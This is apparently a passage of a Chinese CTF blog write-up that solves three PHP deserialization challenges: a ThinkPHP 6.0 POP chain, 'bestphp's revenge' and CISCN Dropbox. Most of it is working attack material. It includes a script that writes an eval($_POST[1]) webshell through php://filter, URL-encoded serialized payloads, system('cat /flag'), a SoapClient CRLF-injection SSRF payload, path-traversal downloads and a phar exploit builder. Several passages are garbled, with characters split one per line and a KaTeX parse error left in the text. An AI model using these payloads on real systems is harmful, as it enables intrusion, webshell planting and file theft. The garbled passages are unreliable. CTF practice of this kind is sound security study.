这是从 thinkphp6.0 框架中取出来的一部分源码,并做了一点修改,让我没想到的是,php的对象这么奇怪,没有的属性也能够调用,并且在序列化中我们可以直接去给没有的属性赋值,在反序列化后这些没有的属性就会出现,并且呈现的是public的访问权限。好吧那接下来就来分析一下这个题目。
分析一下
我们在 class A 中找到了__destruct
入口,往里走,发现调用了save()函数,条件是 autosave=false ,进入save函数,跳到了 cleanContents 函数,发现这是一个白名单过滤函数,会过滤传入的cache数组,并将过滤后的内容返回出来,返回出的内容会和 complete 一起通过 json_encode 变成一个 json 字符串,并返回给
c
o
n
t
e
n
t
s
,
contents ,
contents,contents 再和 key, expire 一起传入 set 函数,set函数在B类中,并且这里是调用store变量的set函数,因此可以将 store new 一个 B 类,进入B类的set中,先是如下这串,
if (is_null($expire)) {
$expire = $this->options['expire'];
}
无伤大雅,可以给expire赋值,直接略过,然后进入 t h i s − > g e t E x p i r e T i m e ( ) 函 数 , 将 e x p i r e 变 成 i n t 型 , 然 后 进 入 this->getExpireTime()函数,将expire变成int型,然后进入 this−>getExpireTime()函数,将expire变成int型,然后进入this->getCacheKey()
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
如上,将options[‘prefix’]和name拼在一起 ,然后是进入如下函数:
$data = $this->serialize($value);
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
s e r i a l i z e ( serialize( serialize(data);是可控函数,对$data进行操作后返回。最后再是这段代码:
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
经过数据压缩,再进入 file_put_contents(),将带有exit的字串存入$filename中。
那么一般思路就是要把 shell 通过 file_put_contents 写入 $filename 中。
我们给autosave赋值为false,进入save(),把cache赋值为空数组,略过
t
h
i
s
−
>
c
l
e
a
n
C
o
n
t
e
n
t
s
(
)
,
this->cleanContents(),
this−>cleanContents(),this->complete可以做点小动作,这里有个注意点:php解码base64的一些特点:base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
所以虽然$this->complete被json格式化了,但是还是字符串,传入base64编码的话仍然可以使base64被解析,因此我们可以往里面传base64来绕过后面的exit,接着往下走,直接给exp了
<?php
class A {
protected $store;
protected $key;
protected $expire;
public function __construct() {
$this->autosave=false;
$this->cache=array();
$this->complete= 'aaa'.base64_encode('<?php eval($_POST[1]);?>');
$this->store=new B();
$this->expire=0;
$this->key="";
}
}
class B {
public function __construct() {
$this->options = array(
"prefix"=>"php://filter/write=convert.base64-decode/resource=1.php",
"serialize"=>"trim",
"data_compress"=>false
);
}
}
$a = new A();
echo urlencode(serialize($a));
后面我们需要用到 php://filter 的技巧写入webshell,先传base64编码后的shell,再decode写入1.php中,然后访问即可,其他都是一些略过手法。并且注意上面的exit字符串"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
总共有如下字符都能被base64_decode
php//000000000000exit
总共是21个字符,而base64_decode需要字符长度为4的倍数,所以我们在$this->complete前再加三个字符进行拼接,形成利用。
php://filter的妙用参考文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list
payload:
?data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A55%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D1.php%22%3Bs%3A9%3A%22serialize%22%3Bs%3A4%3A%22trim%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A35%3A%22aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%22%3B%7D
再访问1.php,post:1=system(“cat /flag”);即可
flag:flag{0b4df7b1-a322-4979-9541-04d7a7e34e5e}
4、buuctf: bestphp’s revenge
脑洞比较大的一题,知识点也很多,如下:
- session反序列化
- Soap反序列化
- SSRF
- 变量覆盖
- call_user_func
拿到题目就是源码:
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
有SESSION合理想到session反序列化,但是不知道如何使用,这里我没有去访问flag.php,一直不知道要怎么做,访问/flag.php,发现有如下的代码提示:
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
那么就是很明显的ssrf了,要用到Soap原生类进行反序列化。
思路:在php中session是以文件形式存储在服务器的,为了实现反序列化,我们要使存入和读取session的引擎产生偏差,默认情况下,都是使用php引擎,所以在这里我们先要去修改引擎,方法是**用session_start函数,这里我们利用call_user_func,传入f=session_start,
P
O
S
T
里
面
传
入
关
联
数
组
a
r
r
a
y
(
′
s
e
r
i
a
l
i
z
e
h
a
n
d
l
e
r
′
=
>
′
p
h
p
s
e
r
i
a
l
i
z
e
′
)
,
就
可
以
修
改
s
e
s
s
i
o
n
引
擎
∗
∗
,
这
里
是
_POST里面传入关联数组array('serialize_handler'=>'php_serialize'),就可以修改session引擎**,这里是
POST里面传入关联数组array(′serializehandler′=>′phpserialize′),就可以修改session引擎∗∗,这里是_POST数组,我们可以直接传 serialize_handler=php_serialize 来达到目的,然后我们构造Soap原生类,序列化后传入name中,为后续反序列化做铺垫,POST成功后,我们再次利用call_user_func,覆盖
b
变
量
,
使
f
=
e
x
t
r
a
c
t
,
这
个
函
数
的
作
用
是
将
其
中
的
关
联
数
组
的
值
赋
值
给
键
,
所
以
我
们
P
O
S
T
一
下
b
=
c
a
l
l
u
s
e
r
f
u
n
c
,
这
样
上
面
源
码
中
的
‘
‘
‘
c
a
l
l
u
s
e
r
f
u
n
c
(
b变量,使f=extract,这个函数的作用是将其中的关联数组的值赋值给键,所以我们POST一下b=call_user_func,这样上面源码中的```call_user_func(
b变量,使f=extract,这个函数的作用是将其中的关联数组的值赋值给键,所以我们POST一下b=calluserfunc,这样上面源码中的‘‘‘calluserfunc(b, $a);就会变成
call_user_func(call_user_func(array(Soap类,“welcome_to_the_lctf2018”)));```,这里注意一下call_user_func的另一个用法:如果里面传入了数组,数组的第一个元素是类,第二个元素是个字符串,那么就会认为是要调用类中的名称为这个字符串的方法,在这里也就是调用SoapClient类中的"welcome_to_the_lctf2018"方法,但是SoapClient类中没有这个方法,于是会调用__call,发送post请求,形成ssrf,最终我们访问特定的session(这个session是我们设置到SoapClient中的),即可获得flag。
复现
SoapClient类序列化构造exp:
<?php
$target = 'http://127.0.0.1/flag.php';
$b = new SoapClient(null, array(
'location'=>$target,
'user_agent'=>"br0sy\r\nCookie: PHPSESSID=ss123456\r\n",
'uri'=>'12345'
));
// $a = str_replace("^^", "\r\n", serialize($b)); // 上方只有""的情况下才会解析\r\n,所以要用单引号时,我们可以用str_replace
$a = serialize($b);
echo '|'.urlencode($a);
然后我们开始发送请求:
payload1:
?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%2212345%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A35%3A%22br0sy%0D%0ACookie%3A+PHPSESSID%3Dss123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
并且POST如下内容:
serialize_handler=php_serialize
此时我们就将SoapClient类放入了session中,并实现了反序列化,接下去要调用SoapClient中不存在的方法,造成ssrf。
payload2:
?f=extract
同时POST:
b=call_user_func
此时就利用了ssrf发送了post请求,并且PHPSESSID是我们设置的ss123456
所以接下去我们可以抓包,把PHPSESSID修改为ss213456进行访问,得到了flag.
5、buuctf:[CISCN2019 华北赛区 Day1 Web1]Dropbox
一道phar反序列化题,整体来说不难(虽然我没做出来)。
一开始进入题目,让你登录,不知道的还以为是sql注入,注册了一下,进去发现可以上传文件,随便上传了一下,发现只能上传jpg、gif、png文件,随便上传了一张jpg图片,上传成功,出现了下载和删除的选项,打开源代码,查看js,发现是ajax请求,请求的页面很多。
如下是js代码:
function upload() {
var formData = new FormData();
formData.append('file', $('#fileInput')[0].files[0]);
$.ajax({
url: 'upload.php',
type: 'POST',
data: formData,
processData: false,
contentType: false,
success: function (json) {
if (json['success']) {
toast('涓婁紶鎴愬姛', 'info');
} else {
toast(json['error'], 'danger');
}
setTimeout(function () {location.reload();}, 1000);
}
});
$('#fileInput')[0].value = '';
}
function download() {
var filename = $(this).parent().attr("filename");
var form = $('<form method="POST" target="_blank"></form>');
form.attr('action', 'download.php');
var input = $('<input type="hidden" name="filename" value="' + filename + '"></input>')
$(document.body).append(form);
$(form).append(input);
form.submit();
form.remove();
}
function deletefile() {
var filename = $(this).parent().attr("filename");
var data = {
"filename": filename
};
$.ajax({
url: 'delete.php',
type: 'POST',
data: data,
success: function (json) {
if (json['success']) {
toast('鍒犻櫎鎴愬姛', 'info');
} else {
toast(json['error'], 'danger');
}
setTimeout(function () {location.reload();}, 1000);
}
});
}
$(document).ready(function () {
$("#fileInput").change(upload);
$(".download").click(download);
$(".delete").click(deletefile);
})
这里存在一个任意文件下载的漏洞,通过/download.php路由POST对应的filename,便可以直接下载对应文件。
payload1:
/download.php
POST:
filename=../../index.php
filenmae=../../login.php
filename=../../delete.php
filename==../../upload.php
filename=../../download.php
filename=../../class.php <-这个是在后来的代码中发现的
下载到了对应的文件,这里我放几块重要文件
index.php:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
download.php:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
class.php:
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
接下去我们就开始代码审计。在class.php中,有三个类,我们先去找__destruct
,发现User类和FileList类中都有这个魔术方法,一眼就是User类的__destruct
为入口,可以看到其中的代码是这样的:
public function __destruct() {
$this->db->close();
}
发现FileList类中没有close()方法,但是有__call
方法,我们跟进这个方法看看:
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
这里有个点,__call
的KaTeX parse error: Expected group after '_' at position 73: …close() 就会跳到```_̲_call```中,并且func = close。接着审计上述代码,发现有$file->$func()
,也就是说func还是会被调用,让我们看看这个$file是什么,一看是个File类的对象,进入File类,发现真有close这个方法:
public function close() {
return file_get_contents($this->filename);
}
这也是这题的巧妙之处,原本用来关闭数据库的close()用到File类中的close()中了,并且会把结果返回给$this->results数组,我们看看这个数组会被用在哪里,发现在FileList类中的__destruct
方法中会被使用,是返回到前端的,那么链子就稍微有点清晰了。
User.__destruct -> FileList.__call -> File.close -> FileList.__destruct
并且在前端有文件上传的接口,所以我们即可使用Phar反序列化,生成Phar文件的脚本如下:
<?php
class File{
public $filename;
}
class User {
public $db;
}
class FileList
{
private $files;
private $results;
private $funcs;
public function __construct($path)
{
$this->files = array($path);
$this->results = array();
$this->funcs = array();
}
}
$b = new File();
$b->filename = '../../../../../../flag.txt';
$a = new User();
$a->db = new FileList($b);
echo serialize($a);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
传入的files控制一下即可,其他都是原样上传,然后我们上传,抓包修改一下Content-type: image/jpeg,提示上传成功,phar.jpg(有Phar://协议访问的话,不管什么类型的文件都会以Phar形式解析),接下去的任务就是该怎么把这个phar文件的metadata给反序列化了,有很多函数可以做到这点,在这道题中,有如下几个方法可以:
class.php中,File类中的open()方法里面的file_exits()函数
class.php中,File类中的close()方法里面的file_get_contents()函数
我们看看哪里调用了
1、download.php中,echo $file->close()和$file->open($filename)调用了
2、delete.php中,$file->open($filename)调用了
并且我们还要考虑一个问题(我就是没考虑到这个问题,最后没做出来酷乐)
那就是User的__destruct
的触发问题,这是只有delete.php中才能触发的,因为代码中有$file->delete(),其中有unlink()函数可以解phar文件,触发__destruct
payload2:
/delete.php
并且post:
filename=phar://phar.jpg
最终获得flag。
做题总结
好了,以上几题基本上所有反序列化的基础都涉及到了,以后可能遇到难题还会再做整理。
参考文章
https://blog.csdn.net/dydydt/article/details/125613669
https://blog.csdn.net/m0_46587008/article/details/109373942
https://lazzzaro.github.io/2020/05/15/web-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://paper.seebug.org/680/#0x03
http://www.jayhacker.top/index.php/2022/10/25/phar反序列化漏洞/
https://www.cnblogs.com/zzjdbk/p/12995217.html
https://cloud.tencent.com/developer/article/1878220
https://y4tacker.blog.csdn.net/article/details/110521104